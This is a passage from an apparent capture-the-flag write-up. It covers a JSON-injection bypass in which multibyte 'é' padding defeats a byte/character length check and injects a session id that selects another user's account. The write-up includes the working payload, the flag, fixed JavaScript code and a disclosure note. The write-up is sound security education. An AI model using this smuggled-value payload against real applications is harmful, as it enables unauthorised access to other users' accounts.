0:éééééééééééééééééééééééééééééééééééééééé"},"session":{"id":1},"pad":{"x":"

That’s a 0: prefix, 40 é, then the JSON breakout. The 0: prefix is there because the function splits on the first colon and treats the left side as the id; the 0 is a decoy, and the injected {"id":1} is what actually drives the lookup.

Submitting it on my own account, the HUD’s FILTER line flips from ONLINE to BYPASSED rather than BLOCKED, the flag renders on the game screen, and the solved popup fires. In the DOM, the shell element ends up with data-has-flag="true" and data-flag holding the value. Swapping the injected id to 2 returns bob’s row instead, which is how I confirmed the id genuinely comes from my input and isn’t baked into the code.

Flag

FLAG{N3w_L3v3l_Unl0cked}

Why this matters beyond the game

It’s tempting to file this under “input filter had a bug.” It’s worse than that. The filter is the only control deciding whose account the query looks up, and I never had to defeat the JSON parser to get past it: the padding alone carried the " through. Any code shaped like this, a hand-built JSON string plus a length check that mixes bytes and characters, behaves the same way. The constraint only ever applies to the region the attacker fully controls, and whatever the parser produces afterward reaches the query unvalidated. In a real application that’s not cosmetic. It’s a decision about whose session the backend trusts, made by a loop that can’t count.

Fixing it

Three changes, each closing one link in the chain.

Don’t hand-build JSON. Serialise an object and let the runtime escape it:

return { id, session: { session } };

If the session genuinely must be letters, iterate characters, not bytes, so the index and the byte offset can’t drift apart:

for (const ch of session) {
  const b = ch.codePointAt(0);
  const isLetter = (b >= 0x41 && b <= 0x5a) || (b >= 0x61 && b <= 0x7a) || b >= 0x80;
  if (!isLetter) throw new Error('invalid game session');
}

And never pass a parsed value straight into an ORM where clause. Pull out only the field you actually mean to filter on:

Users.findOne({ where: { session: String(cookie.session) } });

Any one of these breaks the exploit. All three together make the whole class of bug impossible.

Disclosure

I wrote this up and reported it to the YesWeHack Dojo program, where it was triaged and accepted at CVSS 6.5 (Medium).

What I took away

Bugs love a unit mismatch. A length check is only as trustworthy as the units it counts in. The instant bytes and characters can diverge, a “letters only” rule quietly stops meaning what it says, and everything downstream that trusts it inherits the hole.
Hand-built JSON is string-built SQL wearing a different coat. The fix is the same lesson we learned for SQL long ago: serialise structured data, never concatenate it. When I catch myself typing a { inside a template string, that’s the smell.
Failed probes are the map. The single-é rejection and the bare-quote rejection each killed a theory and pointed at the next one. I got to the exploit faster by asking why each attempt failed, not just noting that it did.